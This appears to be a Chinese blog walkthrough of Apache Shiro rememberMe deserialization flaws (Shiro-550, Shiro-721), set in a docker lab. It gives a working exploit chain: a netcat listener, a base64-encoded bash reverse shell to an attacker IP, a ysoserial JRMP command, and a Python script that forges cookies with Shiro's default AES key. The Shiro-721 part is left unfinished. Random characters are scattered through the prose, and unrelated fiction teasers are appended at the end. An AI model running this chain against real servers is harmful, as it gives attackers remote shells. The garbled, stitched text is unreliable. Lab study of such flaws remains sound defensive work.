shiro反序列化漏洞(Shiro-550+Shiro-721)

0x00. Apache Shiro介紹

Apache Shiro是一種功能強(qiáng)大且易于使用的Java安全框架没陡,它執(zhí)行身份驗(yàn)證互订、授權(quán)甫贯、加密和會話管理,可用于保護(hù)任何應(yīng)用程序的安全赏表。

Shiro提供了應(yīng)用程序安全性API來執(zhí)行以下方面:

1)身份驗(yàn)證:證明用戶身份检诗,通常稱為用戶‘登錄’;

2)授權(quán):訪問控制瓢剿;

3)密碼術(shù):保護(hù)或隱藏?cái)?shù)據(jù)以防窺視逢慌;

4)會話管理:每個(gè)用戶的時(shí)間敏感狀態(tài)。

上述四個(gè)方面也被稱為應(yīng)用程序安全性的四個(gè)基石间狂。

Shiro還支持一些輔助功能攻泼,例如Web應(yīng)用程序安全性,單元測試和多線程支持鉴象,它們的存在也是為了加強(qiáng)上述四個(gè)方面忙菠。

0x01.?Shiro rememberMe反序列化漏洞(Shiro-550)

一、漏洞原理

Apache Shiro框架提供了記住我(RememberMe)的功能纺弊,關(guān)閉瀏覽器再次訪問時(shí)無需再登錄即可訪問牛欢。shiro默認(rèn)使用CookieRememberMeManager,對rememberMe的cookie做了加密處理淆游,在CookieRememberMeManaer類中將cookie中rememberMe字段內(nèi)容先后進(jìn)行序列化傍睹、AES加密、Base64編碼操作犹菱。服務(wù)器端識別身份解密處理cookie的流程則是:?

獲取rememberMe cookie?->base64 解碼->AES解密(加密密鑰硬編碼)->反序列化(未作過濾處理)拾稳。但是AES加密的密鑰Key被硬編碼(密鑰初始就被定義好不能動態(tài)改變的)在代碼里,這就意味著每個(gè)人通過源代碼都能拿到AES加密的密鑰已亥。因此熊赖,攻擊者可以構(gòu)造一個(gè)惡意的對象,并且對其序列化虑椎、AES加密震鹉、base64編碼后,作為cookie的rememberMe字段發(fā)送捆姜。Shiro將rememberMe進(jìn)行解密并且反序列化传趾,最終就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密鑰泄露泥技,無論shiro是什么版本都可能會導(dǎo)致該漏洞的產(chǎn)生.硬編碼是將數(shù)據(jù)直接嵌入到程序或其他可執(zhí)行對象的源代碼中浆兰。如果在返回包的 Set-Cookie?中存在 rememberMe=deleteMe?字段,那么就可能存在此漏洞珊豹。

Payload產(chǎn)生的過程:

命令 => 序列化 => AES加密 => base64編碼 => RememberMe Cookie值

在整個(gè)漏洞利用過程中簸呈,比較重要的是AES加密的密鑰,如果沒有修改默認(rèn)的密鑰那么就很容易就知道密鑰了,Payload構(gòu)造起來也是十分的簡單店茶。

二蜕便、影響版本

Apache Shiro <= 1.2.4(需要獲取AES秘鑰)

三、特征判斷

返回包中包含rememberMe=deleteMe字段

四贩幻、漏洞環(huán)境搭建

靶機(jī)環(huán)境:Cento7(192.168.110.143)轿腺、tomcat:8-jre8

攻擊機(jī)環(huán)境:Kali(192.168.110.140)两嘴、Win10(192.168.79.189)

啟動docker:systemctl start docker

獲取docker鏡像:docker pull medicean/vulapps:s_shiro_1

啟動docker鏡像: docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

五、漏洞利用

1. 檢測是否存在默認(rèn)的key及漏洞

這里我們使用 Shiro_exploit族壳,獲取key

Github項(xiàng)目地址:https://github.com/insightglacier/Shiro_exploit

使用腳本出現(xiàn)該問題:ImportError: No module named Crypto.Cipher

安裝模塊:pip install pycryptodome

注意如果安裝模塊出現(xiàn)問題憔辫,解決方式如下

第一種解決方式:

看到這一行:error: Microsoft Visual C++ 9.0 is required. Get it from?http://aka.ms/vcpython發(fā)現(xiàn)少了個(gè)插件;然后就去下載仿荆;

官網(wǎng)下載地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=44266

第二種解決方式:

python安裝目錄下的\Lib\site-packages贰您,將crypto文件夾的名字改成Crypto。

開始檢測

python2 shiro_exploit.py -u http://192.168.110.143:8080/

表示存在漏洞赖歌,并且key在右邊


2. 進(jìn)行漏洞利用

2.1. 制作反彈shell代碼

2.1.1. kali監(jiān)聽本地端口

nc -lvvp 9999


2.1.2. Java Runtime 配合 bash 編碼枉圃,

在線編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.110.140/9999 0>&1

編碼后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

2.2. 通過ysoserial中JRMP監(jiān)聽模塊,監(jiān)聽6666端口并執(zhí)行反彈shell命令庐冯。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

2.3. 使用shiro.py 生成Payload

python2 shiro.py 192.168.79.189:6666

shiro.py中代碼



import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

? ? popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

? ? BS = AES.block_size

? ? pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

? ? key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

? ? iv = uuid.uuid4().bytes

? ? encryptor = AES.new(key, AES.MODE_CBC, iv)

? ? file_body = pad(popen.stdout.read())

? ? base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

? ? return base64_ciphertext

if __name__ == '__main__':

? ? payload = encode_rememberme(sys.argv[1])?

print "rememberMe={0}".format(payload.decode())


2.4. 構(gòu)造數(shù)據(jù)包發(fā)送Payload

認(rèn)證失敗時(shí)會設(shè)置deleteMe的cookie

win10上的ysoserial

kali linux上的監(jiān)聽

0x02.Shiro rememberMe反序列化漏洞(Shiro-721)

一孽亲、漏洞原理

rememberMe cookie通過AES-128-CBC模式加密,易受到Padding Oracle攻擊展父》稻ⅲ可以通過結(jié)合有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精?制作rememberMe來進(jìn)?反序列化攻擊栖茉。

Tip:在1.2.4版本后篮绿,shiro已經(jīng)更換 AES-CBC AES-CBC 為 AES-GCM AES-GCM ,無法再通過Padding Oracle遍歷key吕漂。

二亲配、影響版本

Apache Shiro <= 1.4.1(需要一個(gè)合法的登錄賬號,基于Padding Oracle attack來實(shí)現(xiàn)的攻擊)

三惶凝、特征判斷

由于漏洞利用需要一個(gè)合法的登錄賬號吼虎,這里利用賬號正常登陸獲取一個(gè)有效的rememberMe cookie,并記錄下這個(gè)rememberMe的值苍鲜。

四思灰、漏洞環(huán)境搭建

靶機(jī)環(huán)境:Cento7(192.168.110.143)、tomcat:8-jre8

攻擊機(jī)環(huán)境:Kali(192.168.110.140)混滔、Win10(192.168.79.189)

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

五洒疚、漏洞利用

1.?登錄 Shiro 測試賬戶獲取合法 Cookie(勾選Remember Me)

明天補(bǔ)上

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市坯屿,隨后出現(xiàn)的幾起案子油湖,更是在濱河造成了極大的恐慌,老刑警劉巖领跛,帶你破解...
    沈念sama閱讀 211,561評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件肺魁,死亡現(xiàn)場離奇詭異,居然都是意外死亡隔节,警方通過查閱死者的電腦和手機(jī)鹅经,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,218評論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來怎诫,“玉大人瘾晃,你說我怎么就攤上這事』眉耍” “怎么了蹦误?”我有些...
    開封第一講書人閱讀 157,162評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長肉津。 經(jīng)常有香客問我强胰,道長,這世上最難降的妖魔是什么妹沙? 我笑而不...
    開封第一講書人閱讀 56,470評論 1 283
  • 正文 為了忘掉前任偶洋,我火速辦了婚禮,結(jié)果婚禮上距糖,老公的妹妹穿的比我還像新娘玄窝。我一直安慰自己,他們只是感情好悍引,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,550評論 6 385
  • 文/花漫 我一把揭開白布恩脂。 她就那樣靜靜地躺著,像睡著了一般趣斤。 火紅的嫁衣襯著肌膚如雪俩块。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,806評論 1 290
  • 那天浓领,我揣著相機(jī)與錄音玉凯,去河邊找鬼。 笑死镊逝,一個(gè)胖子當(dāng)著我的面吹牛壮啊,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播撑蒜,決...
    沈念sama閱讀 38,951評論 3 407
  • 文/蒼蘭香墨 我猛地睜開眼歹啼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了座菠?” 一聲冷哼從身側(cè)響起狸眼,我...
    開封第一講書人閱讀 37,712評論 0 266
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎浴滴,沒想到半個(gè)月后拓萌,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,166評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡升略,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,510評論 2 327
  • 正文 我和宋清朗相戀三年微王,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了屡限。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,643評論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡炕倘,死狀恐怖钧大,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情罩旋,我是刑警寧澤啊央,帶...
    沈念sama閱讀 34,306評論 4 330
  • 正文 年R本政府宣布,位于F島的核電站涨醋,受9級特大地震影響瓜饥,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜浴骂,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,930評論 3 313
  • 文/蒙蒙 一乓土、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧靠闭,春花似錦帐我、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,745評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至檩淋,卻和暖如春芬为,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蟀悦。 一陣腳步聲響...
    開封第一講書人閱讀 31,983評論 1 266
  • 我被黑心中介騙來泰國打工媚朦, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人日戈。 一個(gè)月前我還...
    沈念sama閱讀 46,351評論 2 360
  • 正文 我出身青樓询张,卻偏偏與公主長得像,于是被迫代替她去往敵國和親浙炼。 傳聞我的和親對象是個(gè)殘疾皇子份氧,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,509評論 2 348

推薦閱讀更多精彩內(nèi)容